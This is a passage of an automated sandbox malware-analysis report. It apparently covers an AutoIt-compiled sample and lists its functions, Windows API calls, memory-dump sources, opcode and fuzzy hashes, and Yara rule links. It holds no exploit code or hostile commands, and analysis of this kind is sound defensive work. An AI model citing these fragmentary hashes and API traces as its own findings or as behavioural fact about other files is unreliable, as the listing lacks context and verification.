                                                                                      • PostMessageW.USER32(00000000,00000100,00000011,?), ref: 005E3CC1
                                                                                      • PostMessageW.USER32(00000000,00000100,00000012,?), ref: 005E3D05
                                                                                      • PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 005E3D26
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: MessagePost$KeyboardState$Parent
                                                                                      • String ID:
                                                                                      • API String ID: 87235514-0
                                                                                      • Opcode ID: 8a3bed4ca5e7e465e515f22720658c05b20086cebaf4a388240549dafed4701c
                                                                                      • Instruction ID: a9ea28099cc921a81af5617252f9fe77c04c19c3c45a2a89bb4189355d8a0a67
                                                                                      • Opcode Fuzzy Hash: 8a3bed4ca5e7e465e515f22720658c05b20086cebaf4a388240549dafed4701c
                                                                                      • Instruction Fuzzy Hash: EC5107A15047D53DFB3A87368C4DBB6BFA97F06340F088488E0D95B4C2D295EE84D760
                                                                                      Function 005E7DB1 Relevance: 10.6, APIs: 7, Instructions: 137timeCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: _wcsncpy$LocalTime
                                                                                      • String ID:
                                                                                      • API String ID: 2945705084-0
                                                                                      • Opcode ID: da99732cfb2bd007350e523e5c4ee08a2f8077c9260219975937d637be7a8d5d
                                                                                      • Instruction ID: c58c93f2597b0784c8107a0d829401bb2bff88d88ddd77976ca315b9f5440a34
                                                                                      • Opcode Fuzzy Hash: da99732cfb2bd007350e523e5c4ee08a2f8077c9260219975937d637be7a8d5d
                                                                                      • Instruction Fuzzy Hash: 4641D362C10349BACB10EBF4C84AECFBBACBF85710F10986AE514E3122F634D651C7A5
                                                                                      Function 00603D72 Relevance: 10.6, APIs: 7, Instructions: 100registryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?,?,?), ref: 00603DA1
                                                                                      • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00603DCB
                                                                                      • FreeLibrary.KERNEL32(00000000), ref: 00603E80
                                                                                        • Part of subcall function 00603D72: RegCloseKey.ADVAPI32(?), ref: 00603DE8
                                                                                        • Part of subcall function 00603D72: FreeLibrary.KERNEL32(?), ref: 00603E3A
                                                                                        • Part of subcall function 00603D72: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00603E5D
                                                                                      • RegDeleteKeyW.ADVAPI32(?,?), ref: 00603E25
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: EnumFreeLibrary$CloseDeleteOpen
                                                                                      • String ID:
                                                                                      • API String ID: 395352322-0
                                                                                      • Opcode ID: 96354d22084f2dd0d9d3f25673fa7c6728bea802af0775897079d87c4debaa7e
                                                                                      • Instruction ID: aae3a873fbdfd1a6951c8d78a5029bebeeaa3448cd916b7bdc3fc01e33e4040a
                                                                                      • Opcode Fuzzy Hash: 96354d22084f2dd0d9d3f25673fa7c6728bea802af0775897079d87c4debaa7e
                                                                                      • Instruction Fuzzy Hash: 60312DB1941119BFDB189F90DC89EFFB7BDEF08301F00016AE512E2290D6709F499B60
                                                                                      Function 00608FC8 Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 00608FE7
                                                                                      • GetWindowLongW.USER32(0100E248,000000F0), ref: 0060901A
                                                                                      • GetWindowLongW.USER32(0100E248,000000F0), ref: 0060904F
                                                                                      • SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 00609081
                                                                                      • SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 006090AB
                                                                                      • GetWindowLongW.USER32(00000000,000000F0), ref: 006090BC
                                                                                      • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 006090D6
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: LongWindow$MessageSend
                                                                                      • String ID:
                                                                                      • API String ID: 2178440468-0
                                                                                      • Opcode ID: a358928a45f6a7d434fa8fa7d2a35a2ed630b139d5a87f68892e75b030c6397b
                                                                                      • Instruction ID: f7dcab599e78e355d923b7b93e06aa4e510c52dd632d95df5f8577b53ac95c1b
                                                                                      • Opcode Fuzzy Hash: a358928a45f6a7d434fa8fa7d2a35a2ed630b139d5a87f68892e75b030c6397b
                                                                                      • Instruction Fuzzy Hash: 3E312534680215AFEB248F58DC84FA637A7EB4A314F181168F55A8F2F2CBB1A841CB50
                                                                                      Function 005E08AF Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 005E08F2
                                                                                      • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 005E0918
                                                                                      • SysAllocString.OLEAUT32(00000000), ref: 005E091B
                                                                                      • SysAllocString.OLEAUT32(?), ref: 005E0939
                                                                                      • SysFreeString.OLEAUT32(?), ref: 005E0942
                                                                                      • StringFromGUID2.OLE32(?,?,00000028), ref: 005E0967
                                                                                      • SysAllocString.OLEAUT32(?), ref: 005E0975
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                                                                      • String ID:
                                                                                      • API String ID: 3761583154-0
                                                                                      • Opcode ID: e790d75b7980e2d1de136c8de93800417839826be8643d4a4576af7bce737212
                                                                                      • Instruction ID: 74368c1051f9c4705481e3ec705c3841d3490b7aea64ffe7b4f691ee92e0b64c
                                                                                      • Opcode Fuzzy Hash: e790d75b7980e2d1de136c8de93800417839826be8643d4a4576af7bce737212
                                                                                      • Instruction Fuzzy Hash: D321C972600219AFAB149F79CC88DBB77ECFB08360B049525F945DB192D6B0ED85C760
                                                                                      Function 005E2472 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: __wcsnicmp
                                                                                      • String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
                                                                                      • API String ID: 1038674560-2734436370
                                                                                      • Opcode ID: 5740f8446f52965ff674e92d7bf8e69ab079e1786fdb446aa12970e65e459274
                                                                                      • Instruction ID: 16398311b3fbf9e6239e7e0ca8e4a25eeddeffa2934b2a215719b27051087748
                                                                                      • Opcode Fuzzy Hash: 5740f8446f52965ff674e92d7bf8e69ab079e1786fdb446aa12970e65e459274
                                                                                      • Instruction Fuzzy Hash: 64217C3210469267D728AB369D16FBB7F9DFFA5300F10442AF4C69B0C6E6619942C3E4
                                                                                      Function 005E0986 Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 005E09CB
                                                                                      • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 005E09F1
                                                                                      • SysAllocString.OLEAUT32(00000000), ref: 005E09F4
                                                                                      • SysAllocString.OLEAUT32 ref: 005E0A15
                                                                                      • SysFreeString.OLEAUT32 ref: 005E0A1E
                                                                                      • StringFromGUID2.OLE32(?,?,00000028), ref: 005E0A38
                                                                                      • SysAllocString.OLEAUT32(?), ref: 005E0A46
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                                                                      • String ID:
                                                                                      • API String ID: 3761583154-0
                                                                                      • Opcode ID: 6074d7c982ff99291a8acca61e07d109fcdabd21935f07e4db756b0da94c3c2e
                                                                                      • Instruction ID: 4a422b0a5f521fef9a0481c92eeb38fe4d55e09fb5f0fa586ffc62708456815f
                                                                                      • Opcode Fuzzy Hash: 6074d7c982ff99291a8acca61e07d109fcdabd21935f07e4db756b0da94c3c2e
                                                                                      • Instruction Fuzzy Hash: 35218675600209AFDB14EFA9DC88DAB7BECFF483607009135F949CB2A5D6B0ED858764
                                                                                      Function 005BCCCD Relevance: 9.3, APIs: 6, Instructions: 253COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetClientRect.USER32(?,?), ref: 005BCCF6
                                                                                      • GetWindowRect.USER32(?,?), ref: 005BCD37
                                                                                      • ScreenToClient.USER32(?,?), ref: 005BCD5F
                                                                                      • GetClientRect.USER32(?,?), ref: 005BCE8C
                                                                                      • GetWindowRect.USER32(?,?), ref: 005BCEA5
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Rect$Client$Window$Screen
                                                                                      • String ID:
                                                                                      • API String ID: 1296646539-0
                                                                                      • Opcode ID: 1a4d6bf87110d75c2f04b46694bb613cec07fb3a285e5b1931d493705476e0a7
                                                                                      • Instruction ID: ca4a8370994f7dee42f7d6c9f4c46fd3ef722e0a5b34013da83ad9573873a7f7
                                                                                      • Opcode Fuzzy Hash: 1a4d6bf87110d75c2f04b46694bb613cec07fb3a285e5b1931d493705476e0a7
                                                                                      • Instruction Fuzzy Hash: 3CB1497990064ADBDF10CFA8C4807EDBBB5FF08310F189569EC59AB250DB71EA50CB68
                                                                                      Function 00601BDF Relevance: 9.2, APIs: 6, Instructions: 163processCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • CreateToolhelp32Snapshot.KERNEL32 ref: 00601C18
                                                                                      • Process32FirstW.KERNEL32(00000000,?), ref: 00601C26
                                                                                      • __wsplitpath.LIBCMT ref: 00601C54
                                                                                        • Part of subcall function 005C1DFC: __wsplitpath_helper.LIBCMT ref: 005C1E3C
                                                                                      • _wcscat.LIBCMT ref: 00601C69
                                                                                      • Process32NextW.KERNEL32(00000000,?), ref: 00601CDF
                                                                                      • CloseHandle.KERNEL32(00000000,?,?,00000002,00000000), ref: 00601CF1
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wsplitpath__wsplitpath_helper_wcscat
                                                                                      • String ID:
                                                                                      • API String ID: 1380811348-0
                                                                                      • Opcode ID: 9e443965dc2a845f65176f9ec7defee85dfae88f15527e4a6082fddcc9038cb4
                                                                                      • Instruction ID: f0ad420739912f025c785ade5c108f4cab8a71a8212129b29921f98399e3bb26
                                                                                      • Opcode Fuzzy Hash: 9e443965dc2a845f65176f9ec7defee85dfae88f15527e4a6082fddcc9038cb4
                                                                                      • Instruction Fuzzy Hash: 4E516E711443059FD724EF24C889EABBBE8FF89754F00491EF58697291EB30E905CBA2
                                                                                      Function 00602FD6 Relevance: 9.2, APIs: 6, Instructions: 160registryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 00603C06: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00602BB5,?,?), ref: 00603C1D
                                                                                      • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 006030AF
                                                                                      • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 006030EF
                                                                                      • RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00603112
                                                                                      • RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 0060313B
                                                                                      • RegCloseKey.ADVAPI32(?,?,00000000), ref: 0060317E
                                                                                      • RegCloseKey.ADVAPI32(00000000), ref: 0060318B
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue
                                                                                      • String ID:
                                                                                      • API String ID: 3451389628-0
                                                                                      • Opcode ID: 80af1e13efd81e5e01c3eb22e86d95872186036b5d6186e7346e864c36aca57a
                                                                                      • Instruction ID: bce850ab0939df941dbee2dd6fca44b277de9c562abdd39c8c879f69445e6998
                                                                                      • Opcode Fuzzy Hash: 80af1e13efd81e5e01c3eb22e86d95872186036b5d6186e7346e864c36aca57a
                                                                                      • Instruction Fuzzy Hash: 78512831104251AFC718EF64C889EAFBBEAFF89304F04495DF556872A1DB71EA06CB52
                                                                                      Function 006084DE Relevance: 9.2, APIs: 6, Instructions: 152windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetMenu.USER32(?), ref: 00608540
                                                                                      • GetMenuItemCount.USER32(00000000), ref: 00608577
                                                                                      • GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 0060859F
                                                                                      • GetMenuItemID.USER32(?,?), ref: 0060860E
                                                                                      • GetSubMenu.USER32(?,?), ref: 0060861C
                                                                                      • PostMessageW.USER32(?,00000111,?,00000000), ref: 0060866D
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Menu$Item$CountMessagePostString
                                                                                      • String ID:
                                                                                      • API String ID: 650687236-0
                                                                                      • Opcode ID: 860ab4dd4cbd00f8f0d05dc5860794d9ff2400a64b5f652ae0a8a7bfbdca6b14
                                                                                      • Instruction ID: 7b2382f85c66132411ca49f00fe1b4ca58aa192b2a49a205264e151991706f63
                                                                                      • Opcode Fuzzy Hash: 860ab4dd4cbd00f8f0d05dc5860794d9ff2400a64b5f652ae0a8a7bfbdca6b14
                                                                                      • Instruction Fuzzy Hash: 9C51AB31A00615AFCF15EFA4C845AEEBBF6FF88310F114459E955BB391CB71AE428B90
                                                                                      Function 005E4AC2 Relevance: 9.1, APIs: 6, Instructions: 136windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • _memset.LIBCMT ref: 005E4B10
                                                                                      • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 005E4B5B
                                                                                      • IsMenu.USER32(00000000), ref: 005E4B7B
                                                                                      • CreatePopupMenu.USER32 ref: 005E4BAF
                                                                                      • GetMenuItemCount.USER32(000000FF), ref: 005E4C0D
                                                                                      • InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 005E4C3E
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Menu$Item$CountCreateInfoInsertPopup_memset
                                                                                      • String ID:
                                                                                      • API String ID: 3311875123-0
                                                                                      • Opcode ID: b366095601c29223c3cb4e52def5c24b876b90090250916a1887ea00d4b57f4e
                                                                                      • Instruction ID: 0bd7f58f3d84156de96e96302fa2a418a4879f0629fc8987ce259fe9d2e9f394
                                                                                      • Opcode Fuzzy Hash: b366095601c29223c3cb4e52def5c24b876b90090250916a1887ea00d4b57f4e
                                                                                      • Instruction Fuzzy Hash: B851BE70601289DBCF28CF66C888BADBFF9BF44318F248159E4999B291D3B09D45CF51
                                                                                      Function 005F8DE2 Relevance: 9.1, APIs: 6, Instructions: 136networkCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • select.WSOCK32(00000000,00000001,00000000,00000000,?,000003E8,0063DC00), ref: 005F8E7C
                                                                                      • WSAGetLastError.WSOCK32(00000000), ref: 005F8E89
                                                                                      • __WSAFDIsSet.WSOCK32(00000000,00000001,00000000), ref: 005F8EAD
                                                                                      • #16.WSOCK32(?,?,00000000,00000000), ref: 005F8EC5
                                                                                      • _strlen.LIBCMT ref: 005F8EF7
                                                                                      • WSAGetLastError.WSOCK32(00000000), ref: 005F8F6A
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ErrorLast$_strlenselect
                                                                                      • String ID:
                                                                                      • API String ID: 2217125717-0
                                                                                      • Opcode ID: a4854c7a7959ed0132e8ba07bbb0c964cf594cc4d1f3a32ae91a72cf8e7bf12a
                                                                                      • Instruction ID: 8d322f8721fa9c5a270a16acfa9dcb7b3ed8adeb1d14ea8680f90138ab3a3dab
                                                                                      • Opcode Fuzzy Hash: a4854c7a7959ed0132e8ba07bbb0c964cf594cc4d1f3a32ae91a72cf8e7bf12a
                                                                                      • Instruction Fuzzy Hash: E4418071500109AFCB14EBA4CD89EBEBFBABF89310F104569F61697291DF34AE04CB60
                                                                                      Function 005BABF5 Relevance: 9.1, APIs: 6, Instructions: 113COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005BB34E: GetWindowLongW.USER32(?,000000EB), ref: 005BB35F
                                                                                      • BeginPaint.USER32(?,?,?), ref: 005BAC2A
                                                                                      • GetWindowRect.USER32(?,?), ref: 005BAC8E
                                                                                      • ScreenToClient.USER32(?,?), ref: 005BACAB
                                                                                      • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 005BACBC
                                                                                      • EndPaint.USER32(?,?,?,?,?), ref: 005BAD06
                                                                                      • Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 0061E673
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: PaintWindow$BeginClientLongRectRectangleScreenViewport
                                                                                      • String ID:
                                                                                      • API String ID: 2592858361-0
                                                                                      • Opcode ID: 3151b3beefc44888198b5b7f62930ba8fd2c8c78fcea0ece141eff75329fef02
                                                                                      • Instruction ID: 144cf68114b54bd0cfd94b0b7fd032e66992b43f43907db328fcfca982dc4a0e
                                                                                      • Opcode Fuzzy Hash: 3151b3beefc44888198b5b7f62930ba8fd2c8c78fcea0ece141eff75329fef02
                                                                                      • Instruction Fuzzy Hash: 1441A170104601AFD710DF14CC88FB67FA9FB5A320F180669F9A48A2A1C771AD85DB62
                                                                                      Function 0060E397 Relevance: 9.1, APIs: 6, Instructions: 108windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • ShowWindow.USER32(00661628,00000000,00661628,00000000,00000000,00661628,?,0061DC5D,00000000,?,00000000,00000000,00000000,?,0061DAD1,00000004), ref: 0060E40B
                                                                                      • EnableWindow.USER32(00000000,00000000), ref: 0060E42F
                                                                                      • ShowWindow.USER32(00661628,00000000), ref: 0060E48F
                                                                                      • ShowWindow.USER32(00000000,00000004), ref: 0060E4A1
                                                                                      • EnableWindow.USER32(00000000,00000001), ref: 0060E4C5
